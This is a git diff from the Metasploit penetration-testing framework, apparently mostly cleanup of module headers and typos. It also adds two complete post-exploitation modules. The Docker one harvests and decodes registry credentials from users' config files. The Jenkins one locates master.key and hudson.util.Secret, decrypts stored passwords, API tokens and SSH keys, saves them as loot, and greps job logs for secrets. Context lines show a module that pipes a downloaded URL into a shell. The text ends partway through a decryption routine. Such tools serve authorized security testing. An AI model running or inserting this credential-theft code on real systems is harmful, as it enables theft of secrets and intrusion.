index f335da1993..d33aa98fb8 100644
--- a/modules/post/linux/manage/download_exec.rb
+++ b/modules/post/linux/manage/download_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::System
 
@@ -116,5 +115,4 @@ class MetasploitModule < Msf::Post
       cmd_exec_vprint("#{@http_client} #{@stdout_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
     end
   end
-
 end
diff --git a/modules/post/linux/manage/sshkey_persistence.rb b/modules/post/linux/manage/sshkey_persistence.rb
index 8e731cd071..7698acb7a7 100644
--- a/modules/post/linux/manage/sshkey_persistence.rb
+++ b/modules/post/linux/manage/sshkey_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/escalate/aws_create_iam_user.rb b/modules/post/multi/escalate/aws_create_iam_user.rb
index 8419dc50f3..5c78482c22 100644
--- a/modules/post/multi/escalate/aws_create_iam_user.rb
+++ b/modules/post/multi/escalate/aws_create_iam_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/aws/client'
 require 'json'
 
 class MetasploitModule < Msf::Post
-
   include Metasploit::Framework::Aws::Client
 
   def initialize(info = {})
diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb
index abc6bea7ff..568fced71f 100644
--- a/modules/post/multi/escalate/cups_root_file_read.rb
+++ b/modules/post/multi/escalate/cups_root_file_read.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb
index fd68a61acb..826aa5f99f 100644
--- a/modules/post/multi/escalate/metasploit_pcaplog.rb
+++ b/modules/post/multi/escalate/metasploit_pcaplog.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Post
         'Description'   => %q{
           Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
           creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
-          filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within.
+          filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
           This, and all the other packets, are appended to /etc/passwd.
 
           Successful exploitation results in the creation of a new superuser account.
diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb
index 8b13ae94f3..a178bb3073 100644
--- a/modules/post/multi/gather/apple_ios_backup.rb
+++ b/modules/post/multi/gather/apple_ios_backup.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/parser/apple_backup_manifestdb'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
diff --git a/modules/post/multi/gather/aws_ec2_instance_metadata.rb b/modules/post/multi/gather/aws_ec2_instance_metadata.rb
index bb63267a3b..dba7032d5f 100644
--- a/modules/post/multi/gather/aws_ec2_instance_metadata.rb
+++ b/modules/post/multi/gather/aws_ec2_instance_metadata.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb
index 1f519c62a2..290d733840 100644
--- a/modules/post/multi/gather/aws_keys.rb
+++ b/modules/post/multi/gather/aws_keys.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb
index 2e9ba18217..4a57b358e0 100644
--- a/modules/post/multi/gather/check_malware.rb
+++ b/modules/post/multi/gather/check_malware.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'net/http'
 require 'uri'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -124,5 +123,4 @@ class MetasploitModule < Msf::Post
       show_report(report, File.basename(filename))
     end
   end
-
 end
diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb
index aacfad9c44..b4482ddd88 100644
--- a/modules/post/multi/gather/dbvis_enum.rb
+++ b/modules/post/multi/gather/dbvis_enum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'openssl'
 require 'digest/md5'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
   include Msf::Auxiliary::Report
@@ -366,5 +365,4 @@ class MetasploitModule < Msf::Post
   def iteration_count
     datastore['ITERATION_COUNT'] || 10
   end
-
 end
diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb
index 56b2883648..83877c715c 100644
--- a/modules/post/multi/gather/dns_bruteforce.rb
+++ b/modules/post/multi/gather/dns_bruteforce.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
 
   def initialize(info={})
diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb
index d4c59bc81e..8baada930f 100644
--- a/modules/post/multi/gather/dns_reverse_lookup.rb
+++ b/modules/post/multi/gather/dns_reverse_lookup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb
index f31cad2daf..2a66d4a693 100644
--- a/modules/post/multi/gather/dns_srv_lookup.rb
+++ b/modules/post/multi/gather/dns_srv_lookup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
     super( update_info( info,
         'Name'          => 'Multi Gather DNS Service Record Lookup Scan',
         'Description'   => %q{
-          Enumerates know SRV Records for a given domaon using target host DNS query tool.
+          Enumerates known SRV Records for a given domain using target host DNS query tool.
         },
         'License'       => MSF_LICENSE,
         'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Post
     register_options(
       [
 
-        OptString.new('DOMAIN', [true, 'Domain ro perform SRV query against.'])
+        OptString.new('DOMAIN', [true, 'Domain to perform SRV query against.'])
 
       ])
   end
diff --git a/modules/post/multi/gather/docker_creds.rb b/modules/post/multi/gather/docker_creds.rb
new file mode 100644
index 0000000000..107bb7b829
--- /dev/null
+++ b/modules/post/multi/gather/docker_creds.rb
@@ -0,0 +1,93 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'json'
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info={})
+    super( update_info(info,
+      'Name'           => 'Multi Gather Docker Credentials Collection',
+      'Description'    => %q{
+          This module will collect the contents of all users' .docker directories on the targeted
+          machine. If the user has already push to docker hub, chances are that the password was
+          saved in base64 (default behavior).
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => ['Flibustier'],
+      'Platform'       => %w{ bsd linux osx unix },
+      'SessionTypes'   => ['shell']
+    ))
+  end
+
+  # This module is largely based on gpg_creds.rb.
+
+  def run
+    print_status("Finding .docker directories")
+    paths = enum_user_directories.map {|d| d + "/.docker"}
+    # Array#select! is only in 1.9
+    paths = paths.select { |d| directory?(d) }
+
+    if paths.nil? || paths.empty?
+      print_error("No users found with a .docker directory")
+      return
+    end
+
+    download_loot(paths)
+  end
+
+  def download_loot(paths)
+    print_status("Looting #{paths.count} directories")
+    paths.each do |path|
+      path.chomp!
+      file = "config.json"
+      target = "#{path}/#{file}"
+
+      if file? target
+        print_status("Downloading #{target} -> #{file}")
+        extract(target)
+      end
+    end
+  end
+
+  def extract(target)
+    file = read_file(target)
+    parsed = JSON.parse(file)
+    if parsed["auths"]
+      parsed["auths"].each do |key, value|
+        vprint_status("key: #{key}")
+        value.each do |k,v|
+          if k == "auth"
+            plain = Rex::Text.decode_base64(v)
+            if plain.include? ":"
+
+              print_good("Found #{plain}")
+              username, password = plain.split(':')
+              credential_data = {
+                origin_type: :import,
+              module_fullname: self.fullname,
+              filename: target,
+              workspace_id: myworkspace_id,
+              service_name: 'docker',
+              realm_value: key,
+              realm_key: Metasploit::Model::Realm::Key::WILDCARD,
+              private_type: :password,
+              private_data: password,
+              username: username
+            }
+            create_credential(credential_data)
+
+            print_good("Saved credentials")
+            end
+          end
+        end
+      end
+    else
+      print_status("No credentials found in config file")
+    end
+  end
+end
diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb
index afe04ec9ea..d4208723b5 100644
--- a/modules/post/multi/gather/enum_vbox.rb
+++ b/modules/post/multi/gather/enum_vbox.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'yaml'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Post
       'Description'    => %q{
         This module will attempt to enumerate any VirtualBox VMs on the target machine.
         Due to the nature of VirtualBox, this module can only enumerate VMs registered
-        for the current user, thereforce, this module needs to be invoked from a user context.
+        for the current user, therefore, this module needs to be invoked from a user context.
       },
       'License'        => MSF_LICENSE,
       'Author'         => ['theLightCosine'],
diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb
index 6cc0194bfd..7f31c4fc48 100644
--- a/modules/post/multi/gather/env.rb
+++ b/modules/post/multi/gather/env.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
 
   def initialize(info={})
@@ -64,5 +63,4 @@ class MetasploitModule < Msf::Post
       @ltype = "unix.environment"
     end
   end
-
 end
diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb
index 99a02cbeeb..a71cf805bb 100644
--- a/modules/post/multi/gather/fetchmailrc_creds.rb
+++ b/modules/post/multi/gather/fetchmailrc_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -156,5 +155,4 @@ class MetasploitModule < Msf::Post
     # return all found credentials
     creds
   end
-
 end
diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb
index dbec1932ce..6c6987bb2b 100644
--- a/modules/post/multi/gather/filezilla_client_cred.rb
+++ b/modules/post/multi/gather/filezilla_client_cred.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
 
diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb
index 8f4e062b70..223f76c851 100644
--- a/modules/post/multi/gather/find_vmx.rb
+++ b/modules/post/multi/gather/find_vmx.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'yaml'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
 
diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb
index b1e789049a..6e9cf7bcff 100644
--- a/modules/post/multi/gather/firefox_creds.rb
+++ b/modules/post/multi/gather/firefox_creds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,6 @@ require 'zip'
 #
 require 'msf/core/auxiliary/report'
 
-
 class MetasploitModule < Msf::Post
   include Msf::Post::File
   include Msf::Auxiliary::Report
diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb
index d1ed04a14d..e383640ebb 100644
--- a/modules/post/multi/gather/gpg_creds.rb
+++ b/modules/post/multi/gather/gpg_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -30,7 +29,7 @@ class MetasploitModule < Msf::Post
     # Array#select! is only in 1.9
     paths = paths.select { |d| directory?(d) }
 
-    if paths.nil? or paths.empty?
+    if paths.nil? || paths.empty?
       print_error("No users found with a .gnupg directory")
       return
     end
@@ -50,7 +49,7 @@ class MetasploitModule < Msf::Post
         if directory?(target)
           next
         end
-        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
+        print_status("Downloading #{target} -> #{file}")
         data = read_file(target)
         file = file.split(sep).last
         type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")
@@ -61,5 +60,4 @@ class MetasploitModule < Msf::Post
 
     end
   end
-
 end
diff --git a/modules/post/multi/gather/irssi_creds.rb b/modules/post/multi/gather/irssi_creds.rb
index 6b785bdce9..67e7132a53 100644
--- a/modules/post/multi/gather/irssi_creds.rb
+++ b/modules/post/multi/gather/irssi_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -79,5 +78,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/multi/gather/jboss_gather.rb b/modules/post/multi/gather/jboss_gather.rb
index 711a0c1a7b..ba9b0dd546 100644
--- a/modules/post/multi/gather/jboss_gather.rb
+++ b/modules/post/multi/gather/jboss_gather.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'nokogiri'
 
 class MetasploitModule < Msf::Post
@@ -35,7 +40,7 @@ class MetasploitModule < Msf::Post
       credential_core = create_credential(credential_data)
 
       if not port.is_a? Integer
-        print_status('Failed to detect port, defaulting to 8080 for creds database')
+        print_error('Failed to detect port, defaulting to 8080 for creds database')
         port = 8080
       end
 
diff --git a/modules/post/multi/gather/jenkins_gather.rb b/modules/post/multi/gather/jenkins_gather.rb
new file mode 100644
index 0000000000..8884b6180e
--- /dev/null
+++ b/modules/post/multi/gather/jenkins_gather.rb
@@ -0,0 +1,426 @@
+require 'nokogiri'
+require 'base64'
+require 'digest'
+require 'openssl'
+require 'sshkey'
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Linux::System
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name' => 'Jenkins Credential Collector',
+      'Description' => %q(
+        This module can be used to extract saved Jenkins credentials, user
+        tokens, SSH keys, and secrets. Interesting files will be stored in
+        loot along with combined csv output.
+      ),
+      'License' => MSF_LICENSE,
+      'Author' => [ 'thesubtlety' ],
+      'Platform' => [ 'linux', 'win' ],
+      'SessionTypes' => [ %w[shell meterpreter] ]
+    ))
+    register_options(
+      [  OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
+         OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
+      ])
+
+    @nodes = []
+    @creds = []
+    @ssh_keys = []
+    @api_tokens = []
+  end
+
+  def report_creds(user, pass)
+    return if user.empty? || pass.empty?
+    credential_data = {
+      origin_type: :session,
+      post_reference_name: self.fullname,
+      private_data: pass,
+      private_type: :password,
+      session_id: session_db_id,
+      username: user,
+      workspace_id: myworkspace_id
+    }
+
+    create_credential(credential_data)
+  end
+
+  def parse_credentialsxml(file)
+    vprint_status("Parsing credentials.xml...")
+    if exists?(file)
+      f = read_file(file)
+      if datastore['STORE_LOOT']
+        loot_path = store_loot('credentials.xml', 'text/plain', session, f)
+        vprint_status("File credentials.xml saved to #{loot_path}")
+      end
+    else
+      print_error("Could not read credentials.xml...")
+    end
+
+    xml_doc = Nokogiri::XML(f)
+    xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
+      username = node.xpath("username").text
+      password = decrypt(node.xpath("password").text)
+      description = node.xpath("description").text
+      print_good("Credentials found - Username: #{username} Password: #{password}")
+      report_creds(username, password)
+      @creds << [username, password, description]
+    end
+
+    xml_doc.xpath("//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey").each do |node|
+      cred_id = node.xpath("id").text
+      username = node.xpath("username").text
+      description = node.xpath("description").text
+      passphrase = node.xpath("passphrase").text
+      passphrase = decrypt(passphrase)
+      private_key = node.xpath("//privateKeySource//privateKey").text
+      private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
+      print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>' } Username: #{username} Description: #{description}")
+
+      store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
+      @ssh_keys << [cred_id, description, passphrase, username, private_key]
+
+      begin
+        k = OpenSSL::PKey::RSA.new(private_key, passphrase)
+        key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
+        credential_data = {
+          origin_type: :session,
+          session_id: session_db_id,
+          post_reference_name: self.refname,
+          private_type: :ssh_key,
+          private_data: key.key_object.to_s,
+          username: cred_id,
+          workspace_id: myworkspace_id
+        }
+        create_credential(credential_data)
+      rescue OpenSSL::OpenSSLError => e
+        print_error("Could not save SSH key to creds: #{e.message}")
+      end
+    end
+  end
+
+  def parse_users(file)
+    f = read_file(file)
+    fname = file.tr("\\", "/").split('/')[-2]
+    vprint_status("Parsing user #{fname}...")
+
+    username  = ""
+    api_token = ""
+    xml_doc = Nokogiri::XML(f)
+    xml_doc.xpath("//user").each do |node|
+      username = node.xpath("fullName").text
+    end
+
+    xml_doc.xpath("//jenkins.security.ApiTokenProperty").each do |node|
+      api_token = decrypt(node.xpath("apiToken").text)
+    end
+
+    print_good("API Token found - Username: #{username} Token: #{api_token}")
+
+    @api_tokens << [username, api_token]
+    report_creds(username, api_token)
+    store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
+  end
+
+  def parse_nodes(file)
+    f = read_file(file)
+    fname = file.tr("\\", "/").split('/')[-2]
+    vprint_status("Parsing node #{fname}...")
+
+    node_name   = ""
+    description = ""
+    host    = ""
+    port    = ""
+    cred_id = ""
+    xml_doc = Nokogiri::XML(f)
+    xml_doc.xpath("//slave").each do |node|
+      node_name = node.xpath("name").text
+      description = node.xpath("description").text
+    end
+
+    xml_doc.xpath("//launcher").each do |node|
+      host = node.xpath("host").text
+      port = node.xpath("port").text
+      cred_id = node.xpath("credentialsId").text
+    end
+
+    @nodes << [node_name, host, port, description, cred_id]
+    print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
+    store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
+  end
+
+  def parse_jobs(file)
+    f = read_file(file)
+    fname = file.tr("\\", "/").split('/')[-4]
+    vprint_status("Parsing job #{fname}...")
+
+    username = ""
+    pw = ""
+    job_name = file.split(/\/jobs\/(.*?)\/builds\//)[1]
+    xml_doc = Nokogiri::XML(f)
+    xml_doc.xpath("//hudson.model.PasswordParameterValue").each do |node|
+      username = node.xpath("name").text
+      pw = decrypt(node.xpath("value").text)
+    end
+
+    @creds << [username, pw, ""]
+    print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
+    store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
+  end
+
+  def pretty_print_gathered
+    creds_table = Rex::Text::Table.new(
+      'Header'  => 'Creds',
+      'Indent'  => 1,
+      'Columns' =>
+        [
+          'Username',
+          'Password',
+          'Description'
+        ]
+    )
+    @creds.uniq.each { |e| creds_table << e }
+    print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
+    store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
+
+    api_table = Rex::Text::Table.new(
+      'Header'  => 'API Keys',
+      'Indent'  => 1,
+      'Columns' =>
+        [
+          'Username',
+          'API Tokens'
+        ]
+    )
+    @api_tokens.uniq.each { |e| api_table << e }
+    print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
+    store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
+
+    node_table = Rex::Text::Table.new(
+      'Header'  => 'Nodes',
+      'Indent'  => 1,
+      'Columns' =>
+        [
+          'Node Name',
+          'Hostname',
+          'Port',
+          'Description',
+          'Cred Id'
+        ]
+    )
+    @nodes.uniq.each { |e| node_table << e }
+    print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
+    store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
+
+    @ssh_keys.uniq.each do |e|
+      print_good("SSH Key")
+      print_status(" ID: #{e[0]}")
+      print_status(" Description: #{e[1]}") if !e[1].nil? || !e[1].empty?
+      print_status(" Passphrase:  #{e[2]}") if !e[2].nil? || !e[2].empty?
+      print_status(" Username:    #{e[3]}") if !e[3].nil? || !e[3].empty?
+      print_status("\n#{e[4]}")
+    end
+    ssh_output = @ssh_keys.each { |e| e.join(",") + "\n\n\n" }
+    store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
+  end
+
+  def grep_job_history(path, platform)
+    print_status("Searching through job history for interesting keywords...")
+    case platform
+    when "windows"
+      results = cmd_exec("cmd.exe", "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
+    when 'nix'
+      results = cmd_exec("/bin/egrep", "-ir \"password|secret|key\" --include log \"#{path}\"")
+    end
+    store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
+    print_good("Job Log truffles:\n#{results}") if !results.empty?
+  end
+
+  def find_configs(path, platform)
+    case platform
+
+    when 'windows'
+      case session.type
+      when 'meterpreter'
+        configs = ""
+        c = session.fs.file.search(path, "config.xml", true, -1) \
+                   .concat(session.fs.file.search(path, "build.xml", true, -1))
+        c.each { |f| configs << f["path"] + "\\" + f["name"] + "\n" }
+      else
+        configs = cmd_exec("cmd.exe", "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
+      end
+      configs.split("\n").each do |f|
+        case f
+        when /\\users\\/
+          parse_users(f)
+        when /\\jobs\\/
+          parse_jobs(f)
+        when /\\nodes\\/
+          parse_nodes(f)
+        end
+      end
+
+    when 'nix'
+      configs = cmd_exec("/usr/bin/find", "\"#{path}\" -name config.xml -o -name build.xml")
+      configs.split("\n").each do |f|
+        case f
+        when /\/users\//
+          parse_users(f)
+        when /\/jobs\//
+          parse_jobs(f)
+        when /\/nodes\//
+          parse_nodes(f)
+        end
+      end
+    end
+  end
+
+  def get_key_material(home, platform)
+    case platform
+    when "windows"
+      master_key_path = "#{home}\\secrets\\master.key"
+      hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
+    when "nix"
+      master_key_path = "#{home}/secrets/master.key"
+      hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
+    end
+
+    if exists?(master_key_path) && exists?(hudson_secret_key_path)
+      @master_key = read_file(master_key_path).strip
+      @hudson_secret_key = read_file(hudson_secret_key_path).strip
+
+      if datastore['STORE_LOOT']
+        loot_path = store_loot('master.key', 'application/octet-stream', session, @master_key)
+        vprint_status("File master.key saved to #{loot_path}")
+        loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
+        vprint_status("File hudson.util.Secret saved to #{loot_path}")
+      end
+    else
+      print_error "Cannot read master.key or hudson.util.Secret..."
+      print_error "Encrypted strings will not be able to be decrypted..."
+      return
+    end
+  end
+
+  def find_home(platform)
+    print_status("Searching for Jenkins directory... This could take some time...")
+    case platform
+    when "windows"
+      case session.type
+      when 'meterpreter'
+        home = session.fs.file.search(nil, "secret.key.not-so-secret")[0]["path"]
+      else
+        home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret", timeout = 120).split("\\")[0..-2].join("\\").strip
+      end
+    when "nix"
+      home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout = 120).split('/')[0..-2].join('/').strip
+    end
+    fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") if !exist?(home)
+    print_status("Found Jenkins installation at #{home}")
+    home
+  end
+
+  def gathernix
+    home = find_home("nix")
+    get_key_material(home, "nix")
+    parse_credentialsxml(home + '/credentials.xml')
+    find_configs(home, "nix")
+    grep_job_history(home + '/jobs/', "nix") if datastore['SEARCH_JOBS']
+    pretty_print_gathered
+  end
+
+  def gatherwin
+    home = find_home("windows")
+    get_key_material(home, "windows")
+    parse_credentialsxml(home + "\\credentials.xml")
+    find_configs(home, "windows")
+    grep_job_history(home + "\\jobs\\", "windows") if datastore['SEARCH_JOBS']
+    pretty_print_gathered
+  end
+
+  def run
+    case session.platform
+    when 'linux'
+      gathernix
+    else
+      gatherwin
+    end
+  end
+
+  def decrypt_key(master_key, hudson_secret_key)
+    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
+    magic = '::::MAGIC::::'
+    hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
+    intermediate = OpenSSL::Cipher.new('AES-128-ECB')
+    intermediate.decrypt
+    intermediate.key = hashed_master_key
+
+    salted_final = intermediate.update(hudson_secret_key) + intermediate.final
+    raise 'no magic key in a' if !salted_final.include?(magic)
+    salted_final[0..15]
+  end
+
+  def decrypt_v2(encrypted)
+    begin
+      master_key = @master_key
+      hudson_secret_key = @hudson_secret_key
+      key = decrypt_key(master_key, hudson_secret_key)
+      encrypted_text = Base64.decode64(encrypted).bytes
+
+      iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
+      data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
+      if encrypted_text.length != (1 + 8 + iv_length + data_length)
+        print_error("Invalid encrypted string: #{encrypted}")
+      end
+      iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
+      code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
+
+      cipher = OpenSSL::Cipher.new('AES-128-CBC')
+      cipher.decrypt
+      cipher.key = key
+      cipher.iv = iv
+
+      text = cipher.update(code) + cipher.final
+      text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
+      text
+    rescue StandardError => e
+      print_error(e.to_s)
+      return "Could not decrypt string"
+    end
+  end
+
+  def decrypt_legacy(encrypted)
+    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
+    begin
+      magic = '::::MAGIC::::'
+      master_key = @master_key
+      hudson_secret_key = @hudson_secret_key
+      encrypted = Base64.decode64(encrypted)
+
